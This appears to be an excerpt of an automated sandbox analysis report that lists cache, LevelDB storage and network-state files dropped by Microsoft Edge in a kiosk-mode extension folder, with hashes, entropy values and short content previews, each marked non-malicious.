C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlwT5/ll:Ls3K/ll
MD5:	5548B5DBDF55427748AC5D0045426122
SHA1:	1A6BDA508E05A60D3A1B1C931BF814F58D3A8769
SHA-256:	01D2FDF354BD811F33CC855C38E5F8E870F363DFA1F051734C7913C745DB726F
SHA-512:	293B66A44BB231498E56C84EE18C6A2475AE530B1063AC18401CBC5339414010AB803F6F486B650D119A17A136B5B9B7CA57C08C3863299B9DF7D3D386A0483A
Malicious:	false
Preview:	..........................................v../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlSul:Ls3Sul
MD5:	81403F59C9B9B539AE9A1F76ABAE0CD1
SHA1:	C6DEDE77958A9C0AFDF29B60697C2727F1F5661C
SHA-256:	9E877DC49C52928D33AB66DB84252C559AFCBD031032DAC85D39134D7EB424B1
SHA-512:	B1700A5079F06E2A1AD51AA4F57925FCB61982DC6F8DE323453CA1FD3571A0B06440B014543544B22E7FFB369BD275834CD71DD493FBC7B8C74B1E3CDC370A33
Malicious:	false
Preview:	........................................ ..v../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	401
Entropy (8bit):	5.240203965599986
Encrypted:	false
SSDEEP:	6:ud8KCRM1wkn23oH+Tcwt0jqEKj3K/2jM8B2KLlcd8vN1yq2Pwkn23oH+Tcwt0jqr:1KSrfYebqqBvFLtvN1yvYfYebqqBQFUv
MD5:	0202D102807CC8F572D55C3CAB214DF3
SHA1:	B95F137CF4FAA38DDF7DCC972058181D9B9020A8
SHA-256:	35B8DECFF7BF8E40C34681A8AA7BDCEAECE440492BD066EB094A09FF83F504EE
SHA-512:	78DB0C3156E34072D0B79D2C50AA7D9340D154501D999E16A06609D5C04AF9B22D7BC91FF7FEFB819AC36A1C332FA1FFC0E508BAC975F59E1E176EFCE36F9664
Malicious:	false
Preview:	2024/08/31-20:48:14.926 a74 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb since it was missing..2024/08/31-20:48:14.967 a74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3ab6b22b-7426-4ac8-b2f1-5df492718fc6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKtiVY:YHkVKJTnMRK3VY
MD5:	2800881C775077E1C4B6E06BF4676DE4
SHA1:	2873631068C8B3B9495638C865915BE822442C8B
SHA-256:	226EEC4486509917AA336AFEBD6FF65777B75B65F1FB06891D2A857A9421A974
SHA-512:	E342407AB65CC68F1B3FD706CD0A37680A0864FFD30A6539730180EDE2CDCD732CC97AE0B9EF7DB12DA5C0F83E429DF0840DBF7596ACA859A0301665E517377B
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5574ff0b-a249-4fd7-b3dc-94c3b62edefc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\59f74595-b17e-4165-b1f3-5f655c2783ca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\94e70bdb-23d9-421e-8c8e-4ad49ed1512f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKqk1Yn:YHkVKJTnMRKXk1Yn
MD5:	78BFCECB05ED1904EDCE3B60CB5C7E62
SHA1:	BF77A7461DE9D41D12AA88FBA056BA758793D9CE
SHA-256:	C257F929CFF0E4380BF08D9F36F310753F7B1CCB5CB2AB811B52760DD8CB9572
SHA-512:	2420DFF6EB853F5E1856CDAB99561A896EA0743FCFF3E04B37CB87EDDF063770608A30C6FFB0319E5D353B0132C5F8135B7082488E425666B2C22B753A6A4D73
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF348d2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKqk1Yn:YHkVKJTnMRKXk1Yn
MD5:	78BFCECB05ED1904EDCE3B60CB5C7E62
SHA1:	BF77A7461DE9D41D12AA88FBA056BA758793D9CE
SHA-256:	C257F929CFF0E4380BF08D9F36F310753F7B1CCB5CB2AB811B52760DD8CB9572
SHA-512:	2420DFF6EB853F5E1856CDAB99561A896EA0743FCFF3E04B37CB87EDDF063770608A30C6FFB0319E5D353B0132C5F8135B7082488E425666B2C22B753A6A4D73
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF41d67.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKqk1Yn:YHkVKJTnMRKXk1Yn
MD5:	78BFCECB05ED1904EDCE3B60CB5C7E62
SHA1:	BF77A7461DE9D41D12AA88FBA056BA758793D9CE
SHA-256:	C257F929CFF0E4380BF08D9F36F310753F7B1CCB5CB2AB811B52760DD8CB9572
SHA-512:	2420DFF6EB853F5E1856CDAB99561A896EA0743FCFF3E04B37CB87EDDF063770608A30C6FFB0319E5D353B0132C5F8135B7082488E425666B2C22B753A6A4D73
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.5559635235158827
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:OIEumQv8m1ccnvS6
MD5:	9AAAE8C040B616D1378F3E0E17689A29
SHA1:	F91E7DE07F1DA14D15D067E1F50C3B84A328DBB7
SHA-256:	5B94D63C31AE795661F69B9D10E8BFD115584CD6FEF5FBB7AA483FDC6A66945B
SHA-512:	436202AB8B6BB0318A30946108E6722DFF781F462EE05980C14F57F347EDDCF8119E236C3290B580CEF6902E1B59FB4F546D6BD69F62479805B39AB0F3308EC1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f9074a87-11e9-4fa7-9828-7970807e4878.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKqk1Yn:YHkVKJTnMRKXk1Yn
MD5:	78BFCECB05ED1904EDCE3B60CB5C7E62
SHA1:	BF77A7461DE9D41D12AA88FBA056BA758793D9CE
SHA-256:	C257F929CFF0E4380BF08D9F36F310753F7B1CCB5CB2AB811B52760DD8CB9572
SHA-512:	2420DFF6EB853F5E1856CDAB99561A896EA0743FCFF3E04B37CB87EDDF063770608A30C6FFB0319E5D353B0132C5F8135B7082488E425666B2C22B753A6A4D73
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.7273991737283296
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFl:S85aEFl
MD5:	9F7EADC15E13D0608B4E4D590499AE2E
SHA1:	AFB27F5C20B117031328E12DD3111A7681FF8DB5
SHA-256:	5C3A5B578AB9FE853EAD7040BC161929EA4F6902073BA2B8BB84487622B98923
SHA-512:	88455784C705F565C70FA0A549C54E2492976E14643E9DD0A8E58C560D003914313DF483F096BD33EC718AEEC7667B8DE063A73627AA3436BA6E7E562E565B3F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	389
Entropy (8bit):	5.2040373636967665
Encrypted:	false
SSDEEP:	6:ud+yCRM1wkn23oH+Tcwt0jqEKj0QM72KLlcd+Oyq2Pwkn23oH+Tcwt0jqEKj0QMH:trfYebqqB6LGyvYfYebqqBZFUv
MD5:	32000A287EAA6C56E615B3B65D8E6833
SHA1:	00FB1B7DF7F7F8467878F21A788C3D433A8DEE30
SHA-256:	4FAF886D0164DC4D66DC26AB4441D8BE2E50486F0331F9301D74B3DE938137A9
SHA-512:	A38F0314425E194807FEF2499EA34E4359ECCC41FFD6B0FB5462C0566411CF0FF208E256E038B774520088B54B56F5FB254C18C4F76CB2EC3FEB4B84A39BEC2E
Malicious:	false
Preview:	2024/08/31-20:48:30.500 a74 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage since it was missing..2024/08/31-20:48:30.539 a74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
